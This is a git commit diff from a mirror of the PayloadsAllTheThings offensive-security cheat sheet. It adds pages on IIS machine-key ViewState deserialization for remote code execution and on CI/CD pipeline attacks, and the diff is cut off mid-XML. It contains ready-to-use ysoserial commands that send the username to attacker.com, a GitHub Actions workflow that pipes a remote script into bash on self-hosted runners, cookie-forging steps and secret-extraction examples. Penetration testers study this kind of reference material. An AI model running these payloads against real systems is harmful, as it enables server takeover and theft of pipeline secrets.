mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 07:04:22 +00:00
IIS MachineKeys + CI/CD + CSPT + ORM leak
This commit is contained in:
parent
314e4da963
commit
1dae291696
19 changed files with 815 additions and 249 deletions
188
API Key Leaks/IIS-Machine-Keys.md
Normal file
188
API Key Leaks/IIS-Machine-Keys.md
Normal file
|
@ -0,0 +1,188 @@
|
|||
# IIS Machine Keys
|
||||
|
||||
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
||||
|
||||
**Requirements**
|
||||
|
||||
* `__VIEWSTATE`
|
||||
* `__VIEWSTATEGENERATOR`*
|
||||
|
||||
|
||||
## Viewstate Format
|
||||
|
||||
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
|
||||
|
||||
| Format | Properties |
|
||||
| --- | --- |
|
||||
| Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
|
||||
| Base64 + MAC | `EnableViewStateMac=True` |
|
||||
| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
|
||||
|
||||
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
|
||||
Usually unencrypted viewstate are starting with the string `/wEP`.
|
||||
|
||||
|
||||
## Machine Key Format and Locations
|
||||
|
||||
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
|
||||
|
||||
The format of a machineKey is the following.
|
||||
|
||||
```xml
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
```
|
||||
|
||||
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
|
||||
|
||||
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
|
||||
|
||||
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
|
||||
|
||||
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
|
||||
|
||||
The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
|
||||
|
||||
```xml
|
||||
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
||||
```
|
||||
|
||||
Common locations of **web.config** / **machine.config**
|
||||
|
||||
* 32-bits
|
||||
* `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
|
||||
* `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
|
||||
* 64-bits
|
||||
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
|
||||
* `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
|
||||
* in the registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
|
||||
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
|
||||
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
|
||||
|
||||
|
||||
## Identify known machine key
|
||||
|
||||
Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
|
||||
|
||||
* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
|
||||
|
||||
```powershell
|
||||
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
|
||||
____ ____.__ __ .__ __
|
||||
\ \ / /|__| ______ _ _________/ |______ | | | | __ ___________
|
||||
\ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \
|
||||
\ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/
|
||||
\___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__|
|
||||
\/ \/ \/ \/ \/
|
||||
|
||||
KEY FOUND!!!
|
||||
Host:
|
||||
Validation Key: XXXXX,XXXXX
|
||||
```
|
||||
|
||||
* [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
|
||||
|
||||
```ps1
|
||||
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
|
||||
Matching MachineKeys found!
|
||||
validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
|
||||
```
|
||||
|
||||
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
|
||||
|
||||
```powershell
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
||||
```
|
||||
|
||||
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
||||
|
||||
```powershell
|
||||
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
||||
[+] ViewState is not encrypted
|
||||
[+] Signature algorithm: SHA1
|
||||
```
|
||||
|
||||
List of interesting machine keys to use:
|
||||
|
||||
* [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
|
||||
* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
|
||||
* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
|
||||
|
||||
|
||||
## Decode ViewState
|
||||
|
||||
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
|
||||
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
||||
```powershell
|
||||
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
||||
```
|
||||
|
||||
|
||||
## Generate ViewState for RCE
|
||||
|
||||
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
|
||||
|
||||
### MAC is not enabled
|
||||
|
||||
```ps1
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
|
||||
```
|
||||
|
||||
|
||||
### MAC is enabled and Encryption is disabled
|
||||
|
||||
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
|
||||
```ps1
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
||||
# --modifier = `__VIEWSTATEGENERATOR` parameter value
|
||||
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
|
||||
```
|
||||
|
||||
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
|
||||
```ps1
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
# --generator = `__VIEWSTATEGENERATOR` parameter value
|
||||
# --validationkey = validation key from the previous command
|
||||
```
|
||||
|
||||
|
||||
### MAC is enabled and Encryption is enabled
|
||||
|
||||
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
|
||||
|
||||
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
|
||||
|
||||
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
|
||||
```ps1
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
|
||||
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
|
||||
```ps1
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
|
||||
## Edit cookies with the machine key
|
||||
|
||||
If you have the `machineKey` but the viewstate is disabled.
|
||||
|
||||
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
||||
|
||||
```powershell
|
||||
# decrypt cookie
|
||||
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
||||
|
||||
# encrypt cookie (edit Decrypted.txt)
|
||||
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - claranet - 13/06/2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
|
||||
* [View State, The unpatchable IIS forever day being actively exploited - zeroed.tech - 21-7-2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
|
||||
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
|
||||
* [Deep Dive into .NET ViewState deserialization and its exploitation - Swapneil Kumar Dash - Oct 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
|
@ -16,7 +16,6 @@
|
|||
- [Twitter Bearer Token](#twitter-bearer-token)
|
||||
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
|
||||
- [HockeyApp API Token](#hockeyapp-api-token)
|
||||
- [IIS Machine Keys](#iis-machine-keys)
|
||||
- [Mapbox API Token](#Mapbox-API-Token)
|
||||
|
||||
|
||||
|
@ -142,88 +141,6 @@ curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hoc
|
|||
```
|
||||
|
||||
|
||||
### IIS Machine Keys
|
||||
|
||||
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
||||
|
||||
Requirements
|
||||
* machineKey **validationKey** and **decryptionKey**
|
||||
* __VIEWSTATEGENERATOR cookies
|
||||
* __VIEWSTATE cookies
|
||||
|
||||
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
|
||||
|
||||
```xml
|
||||
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
||||
```
|
||||
|
||||
Common locations of **web.config** / **machine.config**
|
||||
* 32-bit
|
||||
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
|
||||
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
|
||||
* 64-bit
|
||||
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
|
||||
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
|
||||
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
|
||||
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
|
||||
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
|
||||
|
||||
|
||||
#### Identify known machine key
|
||||
|
||||
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
|
||||
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
|
||||
|
||||
```powershell
|
||||
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
|
||||
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
|
||||
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
||||
[+] ViewState is not encrypted
|
||||
[+] Signature algorithm: SHA1
|
||||
|
||||
# --encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
# --modifier : __VIEWSTATEGENERATOR parameter value
|
||||
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
|
||||
```
|
||||
|
||||
#### Decode ViewState
|
||||
|
||||
```powershell
|
||||
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
||||
|
||||
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
|
||||
|
||||
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||||
```
|
||||
|
||||
|
||||
#### Generate ViewState for RCE
|
||||
|
||||
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
|
||||
|
||||
```powershell
|
||||
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
|
||||
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
||||
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
||||
|
||||
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
|
||||
```
|
||||
|
||||
|
||||
#### Edit cookies with the machine key
|
||||
|
||||
If you have the machineKey but the viewstate is disabled.
|
||||
|
||||
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
||||
|
||||
```powershell
|
||||
# decrypt cookie
|
||||
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
||||
|
||||
# encrypt cookie (edit Decrypted.txt)
|
||||
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
||||
```
|
||||
|
||||
### Mapbox API Token
|
||||
|
||||
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
|
||||
|
@ -236,7 +153,6 @@ A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`,
|
|||
|
||||
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
|
||||
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
|
||||
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
|
||||
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
|
||||
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
|
||||
* [Introducing SignSaboteur: forge signed web tokens with ease - Zakhar Fedotkin - 22 May 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
|
16
CICD/Azure-DevOps.md
Normal file
16
CICD/Azure-DevOps.md
Normal file
|
@ -0,0 +1,16 @@
|
|||
# Azure DevOps
|
||||
|
||||
## Azure Pipelines
|
||||
|
||||
The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\
|
||||
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction:
|
||||
|
||||
```yaml
|
||||
trigger:
|
||||
branches:
|
||||
include:
|
||||
- master
|
||||
- refs/tags/*
|
||||
pr:
|
||||
- master
|
||||
```
|
12
CICD/BuildKite.md
Normal file
12
CICD/BuildKite.md
Normal file
|
@ -0,0 +1,12 @@
|
|||
# BuildKite
|
||||
|
||||
The configuration files for BuildKite builds are located in `.buildkite/*.yml`\
|
||||
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- label: "Example Test"
|
||||
command: echo "Hello!"
|
||||
```
|
15
CICD/CircleCI.md
Normal file
15
CICD/CircleCI.md
Normal file
|
@ -0,0 +1,15 @@
|
|||
# CircleCI
|
||||
|
||||
The configuration files for CircleCI builds are located in `.circleci/config.yml`\
|
||||
By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step.
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build:
|
||||
docker:
|
||||
- image: cimg/base:2022.05
|
||||
steps:
|
||||
- run: echo "Say hello to YAML!"
|
||||
```
|
14
CICD/Drone-CI.md
Normal file
14
CICD/Drone-CI.md
Normal file
|
@ -0,0 +1,14 @@
|
|||
# Drone CI
|
||||
|
||||
The configuration files for Drone builds are located in `.drone.yml`\
|
||||
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- name: do-something
|
||||
image: some-image:3.9
|
||||
commands:
|
||||
- {Payload}
|
||||
```
|
153
CICD/Github-Actions.md
Normal file
153
CICD/Github-Actions.md
Normal file
|
@ -0,0 +1,153 @@
|
|||
# GitHub Actions
|
||||
|
||||
## Default Action
|
||||
|
||||
The configuration files for GH actions are located in the directory `.github/workflows/`\
|
||||
You can tell if the action builds pull requests based on its trigger (`on`) instructions:
|
||||
|
||||
```yaml
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
pull_request:
|
||||
```
|
||||
|
||||
In order to run a command in an action that builds pull requests, add a `run` instruction to it.
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
print_issue_title:
|
||||
runs-on: ubuntu-latest
|
||||
name: Command execution
|
||||
steps:
|
||||
- run: echo whoami"
|
||||
```
|
||||
|
||||
|
||||
## Misconfigured Actions
|
||||
|
||||
Analyze repositories to find misconfigured Github actions.
|
||||
|
||||
* [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows.
|
||||
* [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD.
|
||||
```ps1
|
||||
# Using Docker
|
||||
$ docker run ghcr.io/boostsecurityio/poutine:latest
|
||||
|
||||
# Analyze a local repository
|
||||
$ poutine analyze_local .
|
||||
|
||||
# Analyze a remote GitHub repository
|
||||
$ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow
|
||||
|
||||
# Analyze all repositories in a GitHub organization
|
||||
$ poutine -token "$GH_TOKEN" analyze_org messypoutine
|
||||
|
||||
# Analyze all projects in a self-hosted Gitlab instance
|
||||
$ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo
|
||||
```
|
||||
|
||||
|
||||
### Repo Jacking
|
||||
|
||||
When the action is using a non-existing action, Github username or organization.
|
||||
|
||||
```yaml
|
||||
- uses: non-existing-org/checkout-action
|
||||
```
|
||||
|
||||
> :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/)
|
||||
|
||||
|
||||
### Untrusted Input Evaluation
|
||||
|
||||
An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
print_issue_title:
|
||||
runs-on: ubuntu-latest
|
||||
name: Print issue title
|
||||
steps:
|
||||
- run: echo "${{github.event.issue.title}}"
|
||||
```
|
||||
|
||||
|
||||
### Extract Sensitive Variables and Secrets
|
||||
|
||||
**Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context.
|
||||
|
||||
**Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context.
|
||||
|
||||
```yml
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env
|
||||
steps:
|
||||
- name: Access Secrets
|
||||
env:
|
||||
SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }}
|
||||
run: |
|
||||
echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties
|
||||
```
|
||||
|
||||
* [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets.
|
||||
|
||||
|
||||
|
||||
|
||||
## Self-Hosted Runners
|
||||
|
||||
A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment.
|
||||
|
||||
Scan a public GitHub Organization for Self-Hosted Runners
|
||||
|
||||
* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool
|
||||
```ps1
|
||||
gato -s enumerate -t targetOrg -oJ target_org_gato.json
|
||||
```
|
||||
|
||||
There are 2 types of self-hosted runners: non-ephemeral and ephemeral.
|
||||
|
||||
* **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment.
|
||||
* **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary.
|
||||
|
||||
Identify the type of self-hosted runner with `gato`:
|
||||
|
||||
```ps1
|
||||
gato e --repository vercel/next.js
|
||||
[+] The authenticated user is: swisskyrepo
|
||||
[+] The GitHub Classic PAT has the following scopes: repo, workflow
|
||||
- Enumerating: vercel/next.js!
|
||||
[+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners!
|
||||
[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner!
|
||||
- The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal
|
||||
[!] The repository contains a non-ephemeral self-hosted runner!
|
||||
[-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible.
|
||||
```
|
||||
|
||||
Example of workflow to run on a non-ephemeral runner:
|
||||
|
||||
```yml
|
||||
name: POC
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
security:
|
||||
runs-on: non-ephemeral-runner-name
|
||||
|
||||
steps:
|
||||
- name: cmd-exec
|
||||
run: |
|
||||
curl -k https://ip.ip.ip.ip/exec.sh | bash
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners)
|
||||
* [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation)
|
||||
* [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot)
|
137
CICD/README.md
137
CICD/README.md
|
@ -32,6 +32,8 @@
|
|||
## Tools
|
||||
|
||||
* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Self-Hosted Runner Enumeration and Attack Tool
|
||||
* [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow) - A GitHub Actions Supply Chain CTF / Goat
|
||||
|
||||
|
||||
## Package managers & Build Files
|
||||
|
||||
|
@ -120,29 +122,29 @@ NOTE: remember that your payload is inserted in an XML document - XML special ch
|
|||
```xml
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>exec-maven-plugin</artifactId>
|
||||
<version>1.6.0</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>run-script</id>
|
||||
<phase>validate</phase>
|
||||
<goals>
|
||||
<goal>exec</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
<configuration>
|
||||
<executable>bash</executable>
|
||||
<arguments>
|
||||
<argument>
|
||||
-c
|
||||
</argument>
|
||||
<argument>{XML-Escaped-Payload}</ argument>
|
||||
</arguments>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
